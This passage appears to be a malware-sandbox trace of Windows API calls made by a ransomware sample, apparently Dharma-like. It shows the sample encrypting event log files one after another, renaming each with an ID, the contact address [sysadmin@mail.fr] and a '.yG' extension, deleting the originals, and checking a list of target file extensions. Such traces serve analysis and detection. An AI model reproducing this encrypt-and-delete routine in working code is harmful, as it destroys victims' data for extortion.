	[0053.635] WriteFile (in: hFile=0x2e0, lpBuffer=0x3e43020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x312fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e43020*, lpNumberOfBytesWritten=0x312fc94*=0x11010, lpOverlapped=0x0) returned 1
	[0053.636] ReadFile (in: hFile=0x34c, lpBuffer=0x3e43020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x312fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e43020*, lpNumberOfBytesRead=0x312fecc*=0x0, lpOverlapped=0x0) returned 1
	[0053.637] WriteFile (in: hFile=0x2e0, lpBuffer=0x3e43020*, nNumberOfBytesToWrite=0x128, lpNumberOfBytesWritten=0x312fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e43020*, lpNumberOfBytesWritten=0x312fc94*=0x128, lpOverlapped=0x0) returned 1
	[0053.637] SetEndOfFile (hFile=0x2e0) returned 1
	[0053.637] CloseHandle (hObject=0x2e0) returned 1
	[0053.638] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec0 | out: lpNewFilePointer=0x0) returned 1
	[0053.638] SetEndOfFile (hFile=0x34c) returned 1
	[0053.639] CloseHandle (hObject=0x34c) returned 1
	[0053.639] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x20) returned 1
	[0053.640] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-wcmsvc%4operational.evtx")) returned 1
	[0053.654] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx") returned 50
	[0053.654] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx") returned 50
	[0053.654] lstrlenW (lpString=".doc") returned 4
	[0053.654] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0053.654] lstrlenW (lpString=".docx") returned 5
	[0053.654] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0053.655] lstrlenW (lpString=".pdf") returned 4
	[0053.655] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0053.655] lstrlenW (lpString=".xls") returned 4
	[0053.655] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0053.655] lstrlenW (lpString=".xlsx") returned 5
	[0053.655] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0053.655] lstrlenW (lpString=".ppt") returned 4
	[0053.655] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0053.655] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx") returned 50
	[0053.655] lstrlenW (lpString=".zip") returned 4
	[0053.655] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0053.655] lstrlenW (lpString=".rar") returned 4
	[0053.655] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0053.655] lstrlenW (lpString=".bz2") returned 4
	[0053.655] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0053.655] lstrlenW (lpString=".7z") returned 3
	[0053.655] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0053.655] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx") returned 50
	[0053.655] lstrlenW (lpString=".dbf") returned 4
	[0053.655] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0053.655] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx") returned 50
	[0053.655] lstrlenW (lpString=".1cd") returned 4
	[0053.655] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0053.655] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx") returned 50
	[0053.655] lstrlenW (lpString=".jpg") returned 4
	[0053.655] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0053.655] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx") returned 50
	[0053.655] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx") returned 50
	[0053.655] lstrlenW (lpString=".doc") returned 4
	[0053.655] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0053.655] lstrlenW (lpString=".docx") returned 5
	[0053.655] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0053.655] lstrlenW (lpString=".pdf") returned 4
	[0053.655] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0053.656] lstrlenW (lpString=".xls") returned 4
	[0053.656] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0053.656] lstrlenW (lpString=".xlsx") returned 5
	[0053.656] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0053.656] lstrlenW (lpString=".ppt") returned 4
	[0053.656] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0053.656] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx") returned 50
	[0053.656] lstrlenW (lpString=".zip") returned 4
	[0053.656] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0053.656] lstrlenW (lpString=".rar") returned 4
	[0053.656] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0053.656] lstrlenW (lpString=".bz2") returned 4
	[0053.656] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0053.656] lstrlenW (lpString=".7z") returned 3
	[0053.656] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0053.656] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx") returned 50
	[0053.656] lstrlenW (lpString=".dbf") returned 4
	[0053.656] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0053.656] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx") returned 50
	[0053.656] lstrlenW (lpString=".1cd") returned 4
	[0053.656] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0053.656] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx") returned 50
	[0053.656] lstrlenW (lpString=".jpg") returned 4
	[0053.656] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0053.656] lstrcmpiW (lpString1=".evtx", lpString2=".yG") returned -1
	[0053.656] lstrlenW (lpString="Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx") returned 57
	[0053.656] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx" (normalized: "c:\\logs\\microsoft-windows-wininet-config%4proxyconfigchanged.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0053.664] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x312ff14 | out: lpFileSize=0x312ff14*=69632) returned 1
	[0053.664] CloseHandle (hObject=0x35c) returned 1
	[0053.664] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx" (normalized: "c:\\logs\\microsoft-windows-wininet-config%4proxyconfigchanged.evtx")) returned 0x20
	[0053.664] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\logs\\microsoft-windows-wininet-config%4proxyconfigchanged.evtx.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0053.664] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx" (normalized: "c:\\logs\\microsoft-windows-wininet-config%4proxyconfigchanged.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0053.665] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec0 | out: lpNewFilePointer=0x0) returned 1
	[0053.665] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec0 | out: lpNewFilePointer=0x0) returned 1
	[0053.665] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\logs\\microsoft-windows-wininet-config%4proxyconfigchanged.evtx.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0053.668] GetLastError () returned 0x0
	[0053.668] ReadFile (in: hFile=0x35c, lpBuffer=0x3e43020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x312fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e43020*, lpNumberOfBytesRead=0x312fecc*=0x11000, lpOverlapped=0x0) returned 1
	[0053.824] WriteFile (in: hFile=0x334, lpBuffer=0x3e43020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x312fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e43020*, lpNumberOfBytesWritten=0x312fc94*=0x11010, lpOverlapped=0x0) returned 1
	[0053.834] ReadFile (in: hFile=0x35c, lpBuffer=0x3e43020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x312fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e43020*, lpNumberOfBytesRead=0x312fecc*=0x0, lpOverlapped=0x0) returned 1
	[0053.834] WriteFile (in: hFile=0x334, lpBuffer=0x3e43020*, nNumberOfBytesToWrite=0x146, lpNumberOfBytesWritten=0x312fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e43020*, lpNumberOfBytesWritten=0x312fc94*=0x146, lpOverlapped=0x0) returned 1
	[0053.834] SetEndOfFile (hFile=0x334) returned 1
	[0053.835] CloseHandle (hObject=0x334) returned 1
	[0053.838] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec0 | out: lpNewFilePointer=0x0) returned 1
	[0053.838] SetEndOfFile (hFile=0x35c) returned 1
	[0053.844] CloseHandle (hObject=0x35c) returned 1
	[0053.844] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x20) returned 1
	[0053.844] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx" (normalized: "c:\\logs\\microsoft-windows-wininet-config%4proxyconfigchanged.evtx")) returned 1
	[0053.848] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx") returned 65
	[0053.848] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx") returned 65
	[0053.848] lstrlenW (lpString=".doc") returned 4
	[0053.848] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0053.848] lstrlenW (lpString=".docx") returned 5
	[0053.848] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0053.848] lstrlenW (lpString=".pdf") returned 4
	[0053.848] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0053.848] lstrlenW (lpString=".xls") returned 4
	[0053.848] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0053.848] lstrlenW (lpString=".xlsx") returned 5
	[0053.848] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0053.848] lstrlenW (lpString=".ppt") returned 4
	[0053.848] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0053.848] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx") returned 65
	[0053.848] lstrlenW (lpString=".zip") returned 4
	[0053.848] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0053.848] lstrlenW (lpString=".rar") returned 4
	[0053.848] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0053.848] lstrlenW (lpString=".bz2") returned 4
	[0053.849] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0053.849] lstrlenW (lpString=".7z") returned 3
	[0053.849] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0053.849] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx") returned 65
	[0053.849] lstrlenW (lpString=".dbf") returned 4
	[0053.849] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0053.849] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx") returned 65
	[0053.849] lstrlenW (lpString=".1cd") returned 4
	[0053.849] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0053.849] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx") returned 65
	[0053.849] lstrlenW (lpString=".jpg") returned 4
	[0053.849] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0053.849] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx") returned 65
	[0053.849] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx") returned 65
	[0053.849] lstrlenW (lpString=".doc") returned 4
	[0053.849] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0053.849] lstrlenW (lpString=".docx") returned 5
	[0053.849] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0053.849] lstrlenW (lpString=".pdf") returned 4
	[0053.849] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0053.849] lstrlenW (lpString=".xls") returned 4
	[0053.849] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0053.849] lstrlenW (lpString=".xlsx") returned 5
	[0053.849] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0053.849] lstrlenW (lpString=".ppt") returned 4
	[0053.849] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0053.849] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx") returned 65
	[0053.849] lstrlenW (lpString=".zip") returned 4
	[0053.849] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0053.849] lstrlenW (lpString=".rar") returned 4
	[0053.849] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0053.849] lstrlenW (lpString=".bz2") returned 4
	[0053.849] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0053.849] lstrlenW (lpString=".7z") returned 3
	[0053.849] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0053.849] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx") returned 65
	[0053.849] lstrlenW (lpString=".dbf") returned 4
	[0053.850] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0053.850] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx") returned 65
	[0053.850] lstrlenW (lpString=".1cd") returned 4
	[0053.850] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0053.850] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx") returned 65
	[0053.850] lstrlenW (lpString=".jpg") returned 4
	[0053.850] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0053.850] lstrcmpiW (lpString1=".evtx", lpString2=".yG") returned -1
	[0053.850] lstrlenW (lpString="Microsoft-Windows-WMI-Activity%4Operational.evtx") returned 48
	[0053.850] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-WMI-Activity%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-wmi-activity%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398
	[0053.857] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x312ff14 | out: lpFileSize=0x312ff14*=1052672) returned 1
	[0053.857] CloseHandle (hObject=0x398) returned 1
	[0053.857] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-WMI-Activity%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-wmi-activity%4operational.evtx")) returned 0x20
	[0053.857] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-WMI-Activity%4Operational.evtx.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\logs\\microsoft-windows-wmi-activity%4operational.evtx.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0053.858] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-WMI-Activity%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-wmi-activity%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398
	[0053.858] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec0 | out: lpNewFilePointer=0x0) returned 1
	[0053.858] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec0 | out: lpNewFilePointer=0x0) returned 1
	[0053.858] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-WMI-Activity%4Operational.evtx.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\logs\\microsoft-windows-wmi-activity%4operational.evtx.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0053.889] GetLastError () returned 0x0
	[0053.889] ReadFile (in: hFile=0x398, lpBuffer=0x3e43020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x312fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e43020*, lpNumberOfBytesRead=0x312fecc*=0xffff0, lpOverlapped=0x0) returned 1
	[0054.004] WriteFile (in: hFile=0x334, lpBuffer=0x3e43020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x312fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e43020*, lpNumberOfBytesWritten=0x312fc94*=0xffff0, lpOverlapped=0x0) returned 1
	[0054.018] ReadFile (in: hFile=0x398, lpBuffer=0x3e43020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x312fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e43020*, lpNumberOfBytesRead=0x312fecc*=0x1010, lpOverlapped=0x0) returned 1
	[0054.025] WriteFile (in: hFile=0x334, lpBuffer=0x3e43020*, nNumberOfBytesToWrite=0x1020, lpNumberOfBytesWritten=0x312fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e43020*, lpNumberOfBytesWritten=0x312fc94*=0x1020, lpOverlapped=0x0) returned 1
	[0054.806] ReadFile (in: hFile=0x398, lpBuffer=0x3e43020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x312fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e43020*, lpNumberOfBytesRead=0x312fecc*=0x0, lpOverlapped=0x0) returned 1
	[0054.806] WriteFile (in: hFile=0x334, lpBuffer=0x3e43020*, nNumberOfBytesToWrite=0x134, lpNumberOfBytesWritten=0x312fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e43020*, lpNumberOfBytesWritten=0x312fc94*=0x134, lpOverlapped=0x0) returned 1
	[0054.806] SetEndOfFile (hFile=0x334) returned 1
	[0054.806] CloseHandle (hObject=0x334) returned 1
	[0054.824] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec0 | out: lpNewFilePointer=0x0) returned 1
	[0054.824] SetEndOfFile (hFile=0x398) returned 1
	[0054.825] CloseHandle (hObject=0x398) returned 1
	[0054.825] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-WMI-Activity%4Operational.evtx.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x20) returned 1
	[0054.825] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-WMI-Activity%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-wmi-activity%4operational.evtx")) returned 1
	[0054.826] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-WMI-Activity%4Operational.evtx") returned 56
	[0054.826] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-WMI-Activity%4Operational.evtx") returned 56
	[0054.826] lstrlenW (lpString=".doc") returned 4
	[0054.826] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0054.826] lstrlenW (lpString=".docx") returned 5
	[0054.826] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0054.826] lstrlenW (lpString=".pdf") returned 4
	[0054.826] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0054.826] lstrlenW (lpString=".xls") returned 4
	[0054.826] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0054.826] lstrlenW (lpString=".xlsx") returned 5
	[0054.826] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0054.826] lstrlenW (lpString=".ppt") returned 4
	[0054.826] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0054.826] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-WMI-Activity%4Operational.evtx") returned 56
	[0054.826] lstrlenW (lpString=".zip") returned 4
	[0054.826] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0054.826] lstrlenW (lpString=".rar") returned 4
	[0054.826] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0054.826] lstrlenW (lpString=".bz2") returned 4
	[0054.826] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0054.826] lstrlenW (lpString=".7z") returned 3
	[0054.826] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0054.826] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-WMI-Activity%4Operational.evtx") returned 56
	[0054.826] lstrlenW (lpString=".dbf") returned 4
	[0054.826] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0054.826] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-WMI-Activity%4Operational.evtx") returned 56
	[0054.826] lstrlenW (lpString=".1cd") returned 4
	[0054.826] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0054.826] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-WMI-Activity%4Operational.evtx") returned 56
	[0054.826] lstrlenW (lpString=".jpg") returned 4
	[0054.826] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0054.826] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-WMI-Activity%4Operational.evtx") returned 56
	[0054.827] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-WMI-Activity%4Operational.evtx") returned 56
	[0054.827] lstrlenW (lpString=".doc") returned 4
	[0054.827] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0054.827] lstrlenW (lpString=".docx") returned 5
	[0054.827] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0054.827] lstrlenW (lpString=".pdf") returned 4
	[0054.827] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0054.827] lstrlenW (lpString=".xls") returned 4
	[0054.827] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0054.827] lstrlenW (lpString=".xlsx") returned 5
	[0054.827] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0054.827] lstrlenW (lpString=".ppt") returned 4
	[0054.827] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0054.827] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-WMI-Activity%4Operational.evtx") returned 56
	[0054.827] lstrlenW (lpString=".zip") returned 4
	[0054.827] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0054.827] lstrlenW (lpString=".rar") returned 4
	[0054.827] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0054.827] lstrlenW (lpString=".bz2") returned 4
	[0054.827] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0054.827] lstrlenW (lpString=".7z") returned 3
	[0054.827] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0054.827] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-WMI-Activity%4Operational.evtx") returned 56
	[0054.827] lstrlenW (lpString=".dbf") returned 4
	[0054.827] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0054.827] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-WMI-Activity%4Operational.evtx") returned 56
	[0054.827] lstrlenW (lpString=".1cd") returned 4
	[0054.827] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0054.827] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-WMI-Activity%4Operational.evtx") returned 56
	[0054.827] lstrlenW (lpString=".jpg") returned 4
	[0054.827] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0054.827] lstrcmpiW (lpString1=".evtx", lpString2=".yG") returned -1
	[0054.827] lstrlenW (lpString="Windows PowerShell.evtx") returned 23
	[0054.828] CreateFileW (lpFileName="C:\\Logs\\Windows PowerShell.evtx" (normalized: "c:\\logs\\windows powershell.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398
	[0054.828] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x312ff14 | out: lpFileSize=0x312ff14*=69632) returned 1
	[0054.828] CloseHandle (hObject=0x398) returned 1
	[0054.828] GetFileAttributesW (lpFileName="C:\\Logs\\Windows PowerShell.evtx" (normalized: "c:\\logs\\windows powershell.evtx")) returned 0x20
	[0054.828] GetFileAttributesW (lpFileName="C:\\Logs\\Windows PowerShell.evtx.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\logs\\windows powershell.evtx.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0054.828] CreateFileW (lpFileName="C:\\Logs\\Windows PowerShell.evtx" (normalized: "c:\\logs\\windows powershell.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398
	[0054.828] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec0 | out: lpNewFilePointer=0x0) returned 1
	[0054.828] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec0 | out: lpNewFilePointer=0x0) returned 1
	[0054.828] CreateFileW (lpFileName="C:\\Logs\\Windows PowerShell.evtx.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\logs\\windows powershell.evtx.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0054.828] GetLastError () returned 0x0
	[0054.828] ReadFile (in: hFile=0x398, lpBuffer=0x3e43020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x312fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e43020*, lpNumberOfBytesRead=0x312fecc*=0x11000, lpOverlapped=0x0) returned 1
	[0055.128] WriteFile (in: hFile=0x334, lpBuffer=0x3e43020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x312fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e43020*, lpNumberOfBytesWritten=0x312fc94*=0x11010, lpOverlapped=0x0) returned 1
	[0055.129] ReadFile (in: hFile=0x398, lpBuffer=0x3e43020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x312fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e43020*, lpNumberOfBytesRead=0x312fecc*=0x0, lpOverlapped=0x0) returned 1
	[0055.130] WriteFile (in: hFile=0x334, lpBuffer=0x3e43020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x312fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e43020*, lpNumberOfBytesWritten=0x312fc94*=0x102, lpOverlapped=0x0) returned 1
	[0055.130] SetEndOfFile (hFile=0x334) returned 1
	[0055.130] CloseHandle (hObject=0x334) returned 1
